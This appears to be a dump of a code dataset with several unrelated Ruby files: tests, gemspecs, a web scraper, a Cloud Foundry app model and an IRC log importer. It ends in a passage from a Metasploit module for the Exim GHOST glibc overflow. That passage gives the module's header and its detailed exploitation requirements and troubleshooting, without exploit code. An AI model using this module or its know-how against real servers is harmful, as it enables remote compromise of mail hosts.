hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
3813abbbbbdae394d9932942ae04f5035a50089c | 3,605 | #!/usr/bin/env ruby
gem 'minitest', '>= 5.0.0'
require 'minitest/reporters'
require 'minitest/autorun'
require_relative 'kindergarten_garden'
Minitest::Reporters.use!
class GardenTest < Minitest::Test
def test_alices_garden
garden = Garden.new("RC\nGG")
assert_equal [:radishes, :clover, :grass, :grass], garden.alice
end
def test_different_garden_for_alice
# skip
garden = Garden.new("VC\nRC")
assert_equal [:violets, :clover, :radishes, :clover], garden.alice
end
def test_bobs_garden
# skip
garden = Garden.new("VVCG\nVVRC")
assert_equal [:clover, :grass, :radishes, :clover], garden.bob
end
def test_bob_and_charlies_gardens
# skip
garden = Garden.new("VVCCGG\nVVCCGG")
assert_equal [:clover, :clover, :clover, :clover], garden.bob
assert_equal [:grass, :grass, :grass, :grass], garden.charlie
end
end
class TestFullGarden < Minitest::Test
def setup
# skip
diagram = "VRCGVVRVCGGCCGVRGCVCGCGV\nVRCCCGCRRGVCGCRVVCVGCGCV"
@garden = Garden.new(diagram)
end
attr_reader :garden
def test_alice
# skip
assert_equal [:violets, :radishes, :violets, :radishes], garden.alice
end
def test_bob
# skip
assert_equal [:clover, :grass, :clover, :clover], garden.bob
end
def test_charlie
# skip
assert_equal [:violets, :violets, :clover, :grass], garden.charlie
end
def test_david
# skip
assert_equal [:radishes, :violets, :clover, :radishes], garden.david
end
def test_eve
# skip
assert_equal [:clover, :grass, :radishes, :grass], garden.eve
end
def test_fred
# skip
assert_equal [:grass, :clover, :violets, :clover], garden.fred
end
def test_ginny
# skip
assert_equal [:clover, :grass, :grass, :clover], garden.ginny
end
def test_harriet
# skip
assert_equal [:violets, :radishes, :radishes, :violets], garden.harriet
end
def test_ileana
# skip
assert_equal [:grass, :clover, :violets, :clover], garden.ileana
end
def test_joseph
# skip
assert_equal [:violets, :clover, :violets, :grass], garden.joseph
end
def test_kincaid
# skip
assert_equal [:grass, :clover, :clover, :grass], garden.kincaid
end
def test_larry
# skip
assert_equal [:grass, :violets, :clover, :violets], garden.larry
end
end
class DisorderedTest < Minitest::Test
def setup
# skip
diagram = "VCRRGVRG\nRVGCCGCV"
students = %w(Samantha Patricia Xander Roger)
@garden = Garden.new(diagram, students)
end
attr_reader :garden
def test_patricia
# skip
assert_equal [:violets, :clover, :radishes, :violets], garden.patricia
end
def test_roger
# skip
assert_equal [:radishes, :radishes, :grass, :clover], garden.roger
end
def test_samantha
# skip
assert_equal [:grass, :violets, :clover, :grass], garden.samantha
end
def test_xander
# skip
assert_equal [:radishes, :grass, :clover, :violets], garden.xander
end
end
class TwoGardensDifferentStudents < Minitest::Test
def diagram
"VCRRGVRG\nRVGCCGCV"
end
def garden_1
@garden_1 ||= Garden.new(diagram, %w(Alice Bob Charlie Dan))
end
def garden_2
@garden_2 ||= Garden.new(diagram, %w(Bob Charlie Dan Erin))
end
def test_bob_and_charlie_per_garden
# skip
assert_equal [:radishes, :radishes, :grass, :clover], garden_1.bob
assert_equal [:violets, :clover, :radishes, :violets], garden_2.bob
assert_equal [:grass, :violets, :clover, :grass], garden_1.charlie
assert_equal [:radishes, :radishes, :grass, :clover], garden_2.charlie
end
end
| 22.961783 | 75 | 0.683495 |
01b45a8eaea8291c9dd7699320e192d4bc029739 | 1,565 |
lib = File.expand_path("../lib", __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require "bradfieldcoin/version"
Gem::Specification.new do |spec|
spec.name = "bradfieldcoin"
spec.version = BradfieldCoin::VERSION
spec.authors = ["Manoj Dayaram"]
spec.email = ["[email protected]"]
spec.summary = %q{An implementation of a toy cryptocurrency"}
spec.description = %q{An implementation of a toy cryptocurrency from BradfieldCS's cryptocurrencies course}
spec.homepage = "https://github.com/mdayaram/bradfieldcoin"
spec.license = "MIT"
# Prevent pushing this gem to RubyGems.org. To allow pushes either set the 'allowed_push_host'
# to allow pushing to a single host or delete this section to allow pushing to any host.
if spec.respond_to?(:metadata)
spec.metadata["allowed_push_host"] = "TODO: Set to 'http://mygemserver.com'"
else
raise "RubyGems 2.0 or newer is required to protect against " \
"public gem pushes."
end
spec.files = `git ls-files -z`.split("\x0").reject do |f|
f.match(%r{^(test|spec|features)/})
end
spec.bindir = "exe"
spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
spec.require_paths = ["lib"]
spec.add_dependency "blockchain"
spec.add_dependency "gossip_server"
spec.add_development_dependency "bundler", "~> 1.16"
spec.add_development_dependency "rake", "~> 10.0"
spec.add_development_dependency "rspec", "~> 3.0"
spec.add_development_dependency "pry-byebug", "~> 3.6.0"
end
| 38.170732 | 111 | 0.682428 |
01d69ed75a4c99b8193b8341f6e3c3822ef6ef09 | 1,220 |
lib = File.expand_path("../lib", __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require "dynomatic/version"
Gem::Specification.new do |spec|
spec.name = "dynomatic"
spec.version = Dynomatic::VERSION
spec.authors = ["David Verhasselt"]
spec.email = ["[email protected]"]
spec.summary = %q{Gem to autoscale Heroku worker dynos based on number of pending jobs}
spec.description = %q{Gem to autoscale Heroku worker dynos based on number of pending jobs}
spec.homepage = "https://github.com/dv/dynomatic"
spec.license = "MIT"
spec.files = `git ls-files -z`.split("\x0").reject do |f|
f.match(%r{^(test|spec|features)/})
end
spec.bindir = "exe"
spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
spec.require_paths = ["lib"]
spec.add_dependency "activejob"
spec.add_dependency "activesupport"
spec.add_dependency "platform-api"
spec.add_development_dependency "pry"
spec.add_development_dependency "delayed_job"
spec.add_development_dependency "bundler", "~> 1.16"
spec.add_development_dependency "rake", "~> 10.0"
spec.add_development_dependency "rspec", "~> 3.0"
end
| 35.882353 | 95 | 0.678689 |
bbfd0e0595e433cbcd4e1fb281b296d3a169c323 | 1,207 | module SoccerCli
class Scraper
# url = https://www.transfermarkt.us/serie-a/tabelle/wettbewerb/IT1/saison_id/2018
def self.scraper_table(url)
output = []
doc = Nokogiri::HTML(open(url))
table = doc.css('.responsive-table').last
table.search('tbody > tr').each do |tr|
profile = {
:name => tr.css('td.no-border-links.hauptlink a').text,
:points => tr.css('td.zentriert')[7].text,
#add https://www.transfermarkt.us to get the working link
:url => tr.css('td.no-border-links.hauptlink a').attr('href').value
}
output << profile
end
output
end
def self.scraper_team_profile(url)
#url = https://www.transfermarkt.us/inter-mailand/spielplan/verein/46/saison_id/2018
doc = Nokogiri::HTML(open(url))
first = doc.css('.dataBottom > .dataDaten').first
second = doc.css('.dataBottom > .dataDaten').last
profile = {
:average_age => first.search('p')[1].css('span.dataValue').text.strip,
:stadium => second.search('p')[1].css('span.dataValue a').text.strip,
:mkt_value => doc.css('.dataMarktwert a').children[1].text
}
end
end
end
| 34.485714 | 90 | 0.605634 |
bba435c525487e494ee737e2c5fe558b95467f75 | 22,785 | require 'cloud_controller/app_observer'
require 'cloud_controller/database_uri_generator'
require 'cloud_controller/undo_app_changes'
require 'cloud_controller/errors/application_missing'
require 'cloud_controller/errors/invalid_route_relation'
require 'repositories/runtime/app_usage_event_repository'
require 'actions/services/service_binding_delete'
require 'presenters/message_bus/service_binding_presenter'
require 'presenters/v3/cache_key_presenter'
require_relative 'buildpack'
module VCAP::CloudController
# rubocop:disable ClassLength
class App < Sequel::Model
plugin :serialization
plugin :after_initialize
extend IntegerArraySerializer
def after_initialize
default_instances = db_schema[:instances][:default].to_i
self.instances ||= default_instances
self.memory ||= VCAP::CloudController::Config.config[:default_app_memory]
end
APP_NAME_REGEX = /\A[[:alnum:][:punct:][:print:]]+\Z/.freeze
one_to_many :droplets
one_to_many :service_bindings
one_to_many :events, class: VCAP::CloudController::AppEvent
many_to_one :app, class: 'VCAP::CloudController::AppModel', key: :app_guid, primary_key: :guid, without_guid_generation: true
many_to_one :admin_buildpack, class: VCAP::CloudController::Buildpack
many_to_one :space, after_set: :validate_space
many_to_one :stack
many_to_many :routes, before_add: :validate_route, after_add: :handle_add_route, after_remove: :handle_remove_route
one_through_one :organization, join_table: :spaces, left_key: :id, left_primary_key: :space_id, right_key: :organization_id
one_to_one :current_saved_droplet,
class: '::VCAP::CloudController::Droplet',
key: :droplet_hash,
primary_key: :droplet_hash
add_association_dependencies routes: :nullify, events: :delete, droplets: :destroy
export_attributes :name, :production, :space_guid, :stack_guid, :buildpack,
:detected_buildpack, :environment_json, :memory, :instances, :disk_quota,
:state, :version, :command, :console, :debug, :staging_task_id,
:package_state, :health_check_type, :health_check_timeout,
:staging_failed_reason, :staging_failed_description, :diego, :docker_image, :package_updated_at,
:detected_start_command, :enable_ssh, :docker_credentials_json, :ports
import_attributes :name, :production, :space_guid, :stack_guid, :buildpack,
:detected_buildpack, :environment_json, :memory, :instances, :disk_quota,
:state, :command, :console, :debug, :staging_task_id,
:service_binding_guids, :route_guids, :health_check_type,
:health_check_timeout, :diego, :docker_image, :app_guid, :enable_ssh,
:docker_credentials_json, :ports
strip_attributes :name
serialize_attributes :json, :metadata
serialize_attributes :integer_array, :ports
encrypt :environment_json, salt: :salt, column: :encrypted_environment_json
encrypt :docker_credentials_json, salt: :docker_salt, column: :encrypted_docker_credentials_json
APP_STATES = %w(STOPPED STARTED).map(&:freeze).freeze
PACKAGE_STATES = %w(PENDING STAGED FAILED).map(&:freeze).freeze
STAGING_FAILED_REASONS = %w(StagingError StagingTimeExpired NoAppDetectedError BuildpackCompileFailed
BuildpackReleaseFailed InsufficientResources NoCompatibleCell).map(&:freeze).freeze
HEALTH_CHECK_TYPES = %w(port none).map(&:freeze).freeze
# marked as true on changing the associated routes, and reset by
# +Dea::Client.start+
attr_accessor :routes_changed
# Last staging response which will contain streaming log url
attr_accessor :last_stager_response
alias_method :diego?, :diego
def copy_buildpack_errors
bp = buildpack
return if bp.valid?
bp.errors.each do |err|
errors.add(:buildpack, err)
end
end
def validation_policies
[
AppEnvironmentPolicy.new(self),
MaxDiskQuotaPolicy.new(self, max_app_disk_in_mb),
MinDiskQuotaPolicy.new(self),
MetadataPolicy.new(self, metadata_deserialized),
MinMemoryPolicy.new(self),
MaxMemoryPolicy.new(self, space, :space_quota_exceeded),
MaxMemoryPolicy.new(self, organization, :quota_exceeded),
MaxInstanceMemoryPolicy.new(self, organization && organization.quota_definition, :instance_memory_limit_exceeded),
MaxInstanceMemoryPolicy.new(self, space && space.space_quota_definition, :space_instance_memory_limit_exceeded),
InstancesPolicy.new(self),
MaxAppInstancesPolicy.new(self, organization, organization && organization.quota_definition, :app_instance_limit_exceeded),
MaxAppInstancesPolicy.new(self, space, space && space.space_quota_definition, :space_app_instance_limit_exceeded),
HealthCheckPolicy.new(self, health_check_timeout),
CustomBuildpackPolicy.new(self, custom_buildpacks_enabled?),
DockerPolicy.new(self),
PortsPolicy.new(self)
]
end
def validate
validates_presence :name
validates_presence :space
validates_unique [:space_id, :name]
validates_format APP_NAME_REGEX, :name
copy_buildpack_errors
validates_includes PACKAGE_STATES, :package_state, allow_missing: true
validates_includes APP_STATES, :state, allow_missing: true, message: 'must be one of ' + APP_STATES.join(', ')
validates_includes STAGING_FAILED_REASONS, :staging_failed_reason, allow_nil: true
validates_includes HEALTH_CHECK_TYPES, :health_check_type, allow_missing: true, message: 'must be one of ' + HEALTH_CHECK_TYPES.join(', ')
validation_policies.map(&:validate)
end
def before_create
set_new_version
super
end
def after_create
super
create_app_usage_event
end
def after_update
super
create_app_usage_event
end
def before_save
if needs_package_in_current_state? && !package_hash
raise VCAP::Errors::ApiError.new_from_details('AppPackageInvalid', 'bits have not been uploaded')
end
self.stack ||= Stack.default
self.memory ||= Config.config[:default_app_memory]
self.disk_quota ||= Config.config[:default_app_disk_in_mb]
self.enable_ssh = Config.config[:allow_app_ssh_access] && space.allow_ssh if enable_ssh.nil?
if Config.config[:instance_file_descriptor_limit]
self.file_descriptors ||= Config.config[:instance_file_descriptor_limit]
end
set_new_version if version_needs_to_be_updated?
if diego.nil?
self.diego = Config.config[:default_to_diego_backend]
end
super
end
def version_needs_to_be_updated?
# change version if:
#
# * transitioning to STARTED
# * memory is changed
# * health check type is changed
# * enable_ssh is changed
# * ports are changed
#
# this is to indicate that the running state of an application has changed,
# and that the system should converge on this new version.
(column_changed?(:state) ||
column_changed?(:memory) ||
column_changed?(:health_check_type) ||
column_changed?(:enable_ssh) ||
changed_columns.include?(:ports)
) && started?
end
def set_new_version
self.version = SecureRandom.uuid
end
def update_detected_buildpack(detect_output, detected_buildpack_key)
detected_admin_buildpack = Buildpack.find(key: detected_buildpack_key)
if detected_admin_buildpack
detected_buildpack_guid = detected_admin_buildpack.guid
detected_buildpack_name = detected_admin_buildpack.name
end
update(
detected_buildpack: detect_output,
detected_buildpack_guid: detected_buildpack_guid,
detected_buildpack_name: detected_buildpack_name || custom_buildpack_url
)
create_app_usage_buildpack_event
end
def needs_package_in_current_state?
started?
# started? && ((column_changed?(:state)) || (!new? && footprint_changed?))
end
def in_suspended_org?
space.in_suspended_org?
end
def being_started?
column_changed?(:state) && started?
end
def being_stopped?
column_changed?(:state) && stopped?
end
def scaling_operation?
new? || !being_stopped?
end
def buildpack_changed?
column_changed?(:buildpack)
end
def desired_instances
started? ? instances : 0
end
def organization
space && space.organization
end
def before_destroy
lock!
self.state = 'STOPPED'
destroy_service_bindings
super
end
def destroy_service_bindings
errors = ServiceBindingDelete.new.delete(self.service_bindings_dataset)
raise errors.first unless errors.empty?
end
def after_destroy
super
create_app_usage_event
end
def after_destroy_commit
super
AppObserver.deleted(self)
end
def metadata_with_command
result = metadata_without_command || self.metadata = {}
command ? result.merge('command' => command) : result
end
alias_method_chain :metadata, :command
def command_with_fallback
cmd = command_without_fallback
cmd = (cmd.nil? || cmd.empty?) ? nil : cmd
cmd || metadata_without_command && metadata_without_command['command']
end
alias_method_chain :command, :fallback
def execution_metadata
(current_droplet && current_droplet.execution_metadata) || ''
end
def detected_start_command
(current_droplet && current_droplet.detected_start_command) || ''
end
def console=(c)
self.metadata ||= {}
self.metadata['console'] = c
end
def console
# without the == true check, this expression can return nil if
# the key doesn't exist, rather than false
self.metadata && self.metadata['console'] == true
end
def debug=(d)
self.metadata ||= {}
# We don't support sending nil through API
self.metadata['debug'] = (d == 'none') ? nil : d
end
def debug
self.metadata && self.metadata['debug']
end
def environment_json_with_serialization=(env)
self.environment_json_without_serialization = MultiJson.dump(env)
end
alias_method_chain :environment_json=, 'serialization'
def environment_json_with_serialization
string = environment_json_without_serialization
return if string.blank?
MultiJson.load string
end
alias_method_chain :environment_json, 'serialization'
def docker_credentials_json_with_serialization=(env)
self.docker_credentials_json_without_serialization = MultiJson.dump(env)
end
alias_method_chain :docker_credentials_json=, 'serialization'
def docker_credentials_json_with_serialization
string = docker_credentials_json_without_serialization
return if string.blank?
MultiJson.load string
end
alias_method_chain :docker_credentials_json, 'serialization'
def system_env_json
vcap_services
end
def vcap_application
app_name = app.nil? ? name : app.name
{
limits: {
mem: memory,
disk: disk_quota,
fds: file_descriptors
},
application_id: guid,
application_version: version,
application_name: app_name,
application_uris: uris,
version: version,
name: name,
space_name: space.name,
space_id: space_guid,
uris: uris,
users: nil
}
end
def database_uri
service_uris = service_bindings.map { |binding| binding.credentials['uri'] }.compact
DatabaseUriGenerator.new(service_uris).database_uri
end
def validate_space(space)
objection = Errors::InvalidRouteRelation.new(space.guid)
raise objection unless routes.all? { |route| route.space_id == space.id }
service_bindings.each { |binding| binding.validate_app_and_service_instance(self, binding.service_instance) }
end
def validate_route(route)
objection = Errors::InvalidRouteRelation.new(route.guid)
route_service_objection = Errors::InvalidRouteRelation.new("#{route.guid} - Route services are only supported for apps on Diego")
raise objection if route.nil?
raise objection if space.nil?
raise objection if route.space_id != space.id
raise route_service_objection if !route.route_service_url.nil? && !diego?
raise objection unless route.domain.usable_by_organization?(space.organization)
end
def custom_buildpacks_enabled?
!VCAP::CloudController::Config.config[:disable_custom_buildpacks]
end
def max_app_disk_in_mb
VCAP::CloudController::Config.config[:maximum_app_disk_in_mb]
end
# We need to overide this ourselves because we are really doing a
# many-to-many with ServiceInstances and want to remove the relationship
# to that when we remove the binding like sequel would do if the
# relationship was explicly defined as such. However, since we need to
# annotate the join table with binding specific info, we manage the
# many_to_one and one_to_many sides of the relationship ourself. If there
# is a sequel option that I couldn't see that provides this behavior, this
# method could be removed in the future. Note, the sequel docs explicitly
# state that the correct way to overide the remove_bla functionality is to
# do so with the _ prefixed private method like we do here.
def _remove_service_binding(binding)
err = ServiceBindingDelete.new.delete([binding])
raise(err[0]) if !err.empty?
end
def self.user_visibility_filter(user)
{
space_id: Space.dataset.join_table(:inner, :spaces_developers, space_id: :id, user_id: user.id).select(:spaces__id).union(
Space.dataset.join_table(:inner, :spaces_managers, space_id: :id, user_id: user.id).select(:spaces__id)
).union(
Space.dataset.join_table(:inner, :spaces_auditors, space_id: :id, user_id: user.id).select(:spaces__id)
).union(
Space.dataset.join_table(:inner, :organizations_managers, organization_id: :organization_id, user_id: user.id).select(:spaces__id)
).select(:id)
}
end
def needs_staging?
package_hash && !staged? && started? && instances > 0
end
def staged?
package_state == 'STAGED'
end
def staging_failed?
package_state == 'FAILED'
end
def pending?
package_state == 'PENDING'
end
def started?
state == 'STARTED'
end
def active?
if diego? && docker_image.present?
return false unless FeatureFlag.enabled?('diego_docker')
end
true
end
def stopped?
state == 'STOPPED'
end
def uris
routes.map(&:uri)
end
def routing_info
info = routes.map do |r|
info = { 'hostname' => r.uri }
info['route_service_url'] = r.route_binding.route_service_url if r.route_binding && r.route_binding.route_service_url
info
end
{ 'http_routes' => info }
end
def mark_as_staged
self.package_state = 'STAGED'
self.package_pending_since = nil
end
def mark_as_failed_to_stage(reason='StagingError')
unless STAGING_FAILED_REASONS.include?(reason)
logger.warn("Invalid staging failure reason: #{reason}, provided for app #{self.guid}")
reason = 'StagingError'
end
self.package_state = 'FAILED'
self.staging_failed_reason = reason
self.staging_failed_description = VCAP::Errors::ApiError.new_from_details(reason, 'staging failed').message
self.package_pending_since = nil
self.state = 'STOPPED' if diego?
save
end
def mark_for_restaging
self.package_state = 'PENDING'
self.staging_failed_reason = nil
self.staging_failed_description = nil
self.package_pending_since = Sequel::CURRENT_TIMESTAMP
end
def buildpack
if admin_buildpack
return admin_buildpack
elsif super
return CustomBuildpack.new(super)
end
AutoDetectionBuildpack.new
end
def buildpack=(buildpack_name)
self.admin_buildpack = nil
super(nil)
admin_buildpack = Buildpack.find(name: buildpack_name.to_s)
if admin_buildpack
self.admin_buildpack = admin_buildpack
elsif buildpack_name != '' # git url case
super(buildpack_name)
end
end
def buildpack_specified?
!buildpack.is_a?(AutoDetectionBuildpack)
end
def custom_buildpack_url
buildpack.url if buildpack.custom?
end
def buildpack_cache_key
CacheKeyPresenter.cache_key(guid: guid, stack_name: stack.name)
end
def docker_image=(value)
value = fill_docker_string(value)
super
self.package_hash = value
end
def package_hash=(hash)
super(hash)
mark_for_restaging if column_changed?(:package_hash)
self.package_updated_at = Sequel.datetime_class.now
end
def stack=(stack)
mark_for_restaging unless new?
super(stack)
end
def add_new_droplet(hash)
self.droplet_hash = hash
add_droplet(droplet_hash: hash)
save
end
def current_droplet
return nil unless droplet_hash
# The droplet may not be in the droplet table as we did not backfill
# existing droplets when creating the table.
current_saved_droplet || Droplet.create(app: self, droplet_hash: droplet_hash)
end
def start!
self.state = 'STARTED'
save
end
def stop!
self.state = 'STOPPED'
save
end
def restage!
stop!
mark_for_restaging
start!
end
# returns True if we need to update the DEA's with
# associated URL's.
# We also assume that the relevant methods in +Dea::Client+ will reset
# this app's routes_changed state
# @return [Boolean, nil]
def dea_update_pending?
staged? && started? && @routes_changed
end
def after_commit
super
begin
AppObserver.updated(self)
rescue Errors::ApiError => e
UndoAppChanges.new(self).undo(previous_changes) unless diego?
raise e
end
end
def to_hash(opts={})
if VCAP::CloudController::SecurityContext.admin? || space.has_developer?(VCAP::CloudController::SecurityContext.current_user)
opts.merge!(redact: %w(docker_credentials_json))
else
opts.merge!(redact: %w(environment_json system_env_json docker_credentials_json))
end
super(opts)
end
def is_v3?
!is_v2?
end
def is_v2?
app.nil?
end
def handle_add_route(route)
mark_routes_changed(route)
if is_v2?
Repositories::Runtime::AppEventRepository.new.record_map_route(self, route, SecurityContext.current_user.try(:guid), SecurityContext.current_user_email)
end
end
def handle_remove_route(route)
mark_routes_changed(route)
if is_v2?
Repositories::Runtime::AppEventRepository.new.record_unmap_route(self, route, SecurityContext.current_user.try(:guid), SecurityContext.current_user_email)
end
end
def handle_update_route(route)
mark_routes_changed(route)
end
def ports
if self.docker_image.present? && diego?
return docker_ports
end
super
end
private
def docker_ports
if !self.needs_staging? && !self.current_saved_droplet.nil? && self.execution_metadata.present?
exposed_ports = []
begin
metadata = JSON.parse(self.execution_metadata)
unless metadata['ports'].nil?
metadata['ports'].each { |port|
if port['Protocol'] == 'tcp'
exposed_ports << port['Port']
end
}
end
rescue JSON::ParserError
end
exposed_ports
end
end
def mark_routes_changed(_=nil)
routes_already_changed = @routes_changed
@routes_changed = true
if diego?
unless routes_already_changed
App.db.after_commit do
AppObserver.routes_changed(self)
@routes_changed = false
end
self.updated_at = Sequel::CURRENT_TIMESTAMP
save
end
else
set_new_version
save
end
end
# there's no concrete schema for what constitutes a valid docker
# repo/image reference online at the moment, so make a best effort to turn
# the passed value into a complete, plausible docker image reference:
# registry-name:registry-port/[scope-name/]repo-name:tag-name
def fill_docker_string(value)
segs = value.split('/')
segs[-1] = segs.last + ':latest' unless segs.last.include?(':')
segs.join('/')
end
def metadata_deserialized
deserialized_values[:metadata]
end
WHITELIST_SERVICE_KEYS = %w(name label tags plan credentials syslog_drain_url).freeze
def service_binding_json(binding)
vcap_service = {}
WHITELIST_SERVICE_KEYS.each do |key|
vcap_service[key] = binding[key.to_sym] if binding[key.to_sym]
end
vcap_service
end
def vcap_services
services_hash = {}
service_bindings.each do |sb|
binding = ServiceBindingPresenter.new(sb).to_hash
service = service_binding_json(binding)
services_hash[binding[:label]] ||= []
services_hash[binding[:label]] << service
end
{ 'VCAP_SERVICES' => services_hash }
end
def app_usage_event_repository
@repository ||= Repositories::Runtime::AppUsageEventRepository.new
end
def create_app_usage_buildpack_event
return unless staged? && started?
app_usage_event_repository.create_from_app(self, 'BUILDPACK_SET')
end
def create_app_usage_event
return unless app_usage_changed?
app_usage_event_repository.create_from_app(self)
end
def app_usage_changed?
previously_started = initial_value(:state) == 'STARTED'
return true if previously_started != started?
return true if started? && footprint_changed?
false
end
def footprint_changed?
(column_changed?(:production) || column_changed?(:memory) ||
column_changed?(:instances))
end
class << self
def logger
@logger ||= Steno.logger('cc.models.app')
end
end
end
# rubocop:enable ClassLength
end
module VCAP::CloudController
ProcessModel = App
end
| 30.832206 | 162 | 0.682115 |
28a935d66f97ce8ef36712584d1ef75500391a4f | 592 |
Pod::Spec.new do |s|
s.name = "RBTmpNetwork"
s.version = "1.0.2"
s.summary = "A lightweight iOS networking framework based on AFNetworking"
s.homepage = "https://github.com/mcmengchen/RBTmpNetwork.git"
s.license = "MIT "
s.author = { "baxiang" => "[email protected]" }
s.source = { :git => "https://github.com/mcmengchen/RBTmpNetwork.git", :tag => s.version.to_s }
s.source_files = "RBTmpNetwork/Classes/*.{h,m}"
s.requires_arc = true
s.ios.deployment_target = "7.0"
s.dependency 'AFNetworking'
s.dependency 'YYKit'
end
| 31.157895 | 103 | 0.625 |
8750a08b152fa386ddd85f62321e7045fbd9fac5 | 170 | class AddUserNameToUsers < ActiveRecord::Migration[5.1]
def change
add_column :users, :user_name, :string
add_index :users, :user_name, unique: true
end
end
| 21.25 | 55 | 0.729412 |
03630f8ce8a2f4b30fc6dac4d797adb7eb004a5f | 207 | require "rails_helper"
RSpec.describe HomeController, type: :controller do
describe "#index" do
it "renders successfully" do
get :index
expect(response).to be_successful
end
end
end
| 18.818182 | 51 | 0.705314 |
39a2cff460130b0ad748041467041f8796b05833 | 2,650 | #!/usr/bin/env ruby
$: << File.join(File.dirname(__FILE__), '../lib')
require 'irclogger'
# This imports ZNC logs
# might be identical to the mIRC log format too
ARGV.each do |filename|
DB.transaction do
if File.basename(filename) =~ /^(\d{4}.\d{2}.\d{2}).log$/
puts "Importing #{$1}..."
date = Date.parse "#{$1}"
else
raise "malformed date"
end
File.foreach(filename) do |line|
unless line.valid_encoding?
line = line.force_encoding(Encoding::WINDOWS_1252).encode(Encoding::UTF_8)
end
if line =~ /^\[(\d{2}):(\d{2}):(\d{2})\] (.*)/
time = date.to_time + $1.to_i * 3600 + $2.to_i * 60 + $3.to_i
rest = $4
elsif line == ""
next
else
p line
raise "malformed timestamp"
end
opts = { channel: '#rebuild', timestamp: time }
case rest
when /^\*\*\* (\S+) sets (log|names|mode):/
# ignore
when /^-[A-Za-z0-9_|.`-]+\(.+?\)- /
# ignore
when /^<> (.*)/
# this is possible (???), ignore it
when /^<(.+?)> (.*)$/
Message.create(opts.merge nick: $1, line: $2)
when /^(\* \S+) (.*)$/
Message.create(opts.merge nick: $1, line: $2)
when /^(\* \S+)$/
Message.create(opts.merge nick: $1, line: "")
when /^\*\*\* Joins: (\S+) \(.*?\)$/
Message.create(opts.merge nick: $1, opcode: 'join', line: "#{$1} has joined #{opts[:channel]}")
when /^\*\*\* Parts: (\S+) (\S+) \(.*?\)$/
Message.create(opts.merge nick: $1, opcode: 'leave', line: "#{$1} has left #{opts[:channel]} [#{$3}]",
payload: "")
when /^\*\*\* Quits: (\S+) \((.*)\)$/
Message.create(opts.merge nick: $1, opcode: 'quit', line: "#{$1} has quit [#{$2}]",
payload: $2)
when /^\*\*\* (\S+) is now known as (\S+)$/
if "#{$2}".length < 40 and "#{$1}".length < 40
Message.create(opts.merge nick: $1, opcode: 'nick', line: "#{$1} is now known as #{$2}",
payload: $2)
end
when /^\*\*\* (\S+) changes topic to '(.*?)'$/
Message.create(opts.merge nick: $1, opcode: 'topic',
line: "#{$1} changed the topic of #{opts[:channel]} to: #{$2}",
payload: $2)
when /^\*\*\* (\S+) was kicked by (\S+) (.*?)$/
Message.create(opts.merge nick: $2, opcode: 'kick',
line: "#{$1} was kicked from #{opts[:channel]} by #{$2} [#{$3}]",
oper_nick: $2,
payload: $3)
else
raise "unknown rest: #{rest}"
end
end
end
end | 34.868421 | 110 | 0.464906 |
33860d02768d0cd79b52022c40777f28412c3d14 | 33,561 | ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow',
'Description' => %q(
This module remotely exploits CVE-2015-0235 (a.k.a. GHOST, a heap-based
buffer overflow in the GNU C Library's gethostbyname functions) on x86
and x86_64 GNU/Linux systems that run the Exim mail server. Technical
information about the exploitation can be found in the original GHOST
advisory, and in the source code of this module.
------------------------------------------------------------------------
SERVER-SIDE REQUIREMENTS (Exim)
------------------------------------------------------------------------
The remote system must use a vulnerable version of the GNU C Library:
the first exploitable version is glibc-2.6, the last exploitable version
is glibc-2.17; older versions might be exploitable too, but this module
depends on the newer versions' fd_nextsize (a member of the malloc_chunk
structure) to remotely obtain the address of Exim's smtp_cmd_buffer in
the heap.
------------------------------------------------------------------------
The remote system must run the Exim mail server: the first exploitable
version is exim-4.77; older versions might be exploitable too, but this
module depends on the newer versions' 16-KB smtp_cmd_buffer to reliably
set up the heap as described in the GHOST advisory.
------------------------------------------------------------------------
The remote Exim mail server must be configured to perform extra security
checks against its SMTP clients: either the helo_try_verify_hosts or the
helo_verify_hosts option must be enabled; the "verify = helo" ACL might
be exploitable too, but is unpredictable and therefore not supported by
this module.
------------------------------------------------------------------------
CLIENT-SIDE REQUIREMENTS (Metasploit)
------------------------------------------------------------------------
This module's "exploit" method requires the SENDER_HOST_ADDRESS option
to be set to the IPv4 address of the SMTP client (Metasploit), as seen
by the SMTP server (Exim); additionally, this IPv4 address must have
both forward and reverse DNS entries that match each other
(Forward-Confirmed reverse DNS).
------------------------------------------------------------------------
The remote Exim server might be exploitable even if the Metasploit
client has no FCrDNS, but this module depends on Exim's sender_host_name
variable to be set in order to reliably control the state of the remote
heap.
------------------------------------------------------------------------
TROUBLESHOOTING
------------------------------------------------------------------------
"bad SENDER_HOST_ADDRESS (nil)" failure: the SENDER_HOST_ADDRESS option
was not specified.
------------------------------------------------------------------------
"bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)" failure:
the SENDER_HOST_ADDRESS option was specified, but not in IPv4
dotted-decimal notation.
------------------------------------------------------------------------
"bad SENDER_HOST_ADDRESS (helo_verify_hosts)" or
"bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)" failure: the
SENDER_HOST_ADDRESS option does not match the IPv4 address of the SMTP
client (Metasploit), as seen by the SMTP server (Exim).
------------------------------------------------------------------------
"bad SENDER_HOST_ADDRESS (no FCrDNS)" failure: the IPv4 address of the
SMTP client (Metasploit) has no Forward-Confirmed reverse DNS.
------------------------------------------------------------------------
"not vuln? old glibc? (no leaked_arch)" failure: the remote Exim server
is either not vulnerable, or not exploitable (glibc versions older than
glibc-2.6 have no fd_nextsize member in their malloc_chunk structure).
------------------------------------------------------------------------
"NUL, CR, LF in addr? (no leaked_addr)" failure: Exim's heap address
contains bad characters (NUL, CR, LF) and was therefore mangled during
the information leak; this exploit is able to reconstruct most of these
addresses, but not all (worst-case probability is ~1/85, but could be
further improved).
------------------------------------------------------------------------
